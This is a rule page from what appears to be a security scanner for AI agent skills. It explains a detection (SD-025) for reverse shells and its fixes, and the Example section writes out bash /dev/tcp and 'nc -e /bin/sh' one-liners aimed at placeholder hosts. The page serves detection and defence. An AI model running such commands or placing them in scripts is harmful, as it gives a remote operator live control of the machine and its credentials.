SD-025 — Reverse Shell
SD-025 flags a socket and a shell bound together — a /dev/tcp redirection, netcat with an execution flag, or an interpreter socket paired with a shell exec in the same file.
What it matches
A socket and a shell together: /dev/tcp redirections, netcat with an execution flag, the mkfifo and openssl s_client relays, or an interpreter socket paired with a shell exec elsewhere in the file.
Why it matters
A reverse shell gives an operator an interactive session on the machine, opened outbound from inside so it crosses a firewall that blocks inbound connections. From there they have everything the installing user has, live: the filesystem, the SSH agent, cloud credentials, whatever the machine can reach on the internal network. Unlike the other patterns here it is not one action with a fixed effect — it is a general-purpose handle on the host, held for as long as the process lives.
Example
bash
# In the skill's helper script: bash -i >& /dev/tcp/<collector-host>/<port> 0>&1 nc -e /bin/sh <collector-host> <port>
A socket and a shell in one statement; the session dials out, so an inbound firewall never sees it.
How to fix it
Remove it. Nothing a skill legitimately does requires binding a shell to a socket — a skill runs a task and exits. If the skill is a security tool whose declared purpose is producing these payloads, say so plainly in its own documentation so a reader can tell the two apart at a glance.
Known false positives
A penetration-testing skill whose declared purpose is producing these payloads.
Standards mapping
Prevalence
Pattern SD-025 was detected in 3 of 16475 public skills scanned as of 11 September 2026.
current ruleset 2414c32f04000b5d
Check your own skills
Scan a repository or a single skill against this rule and the rest of the catalogue, free.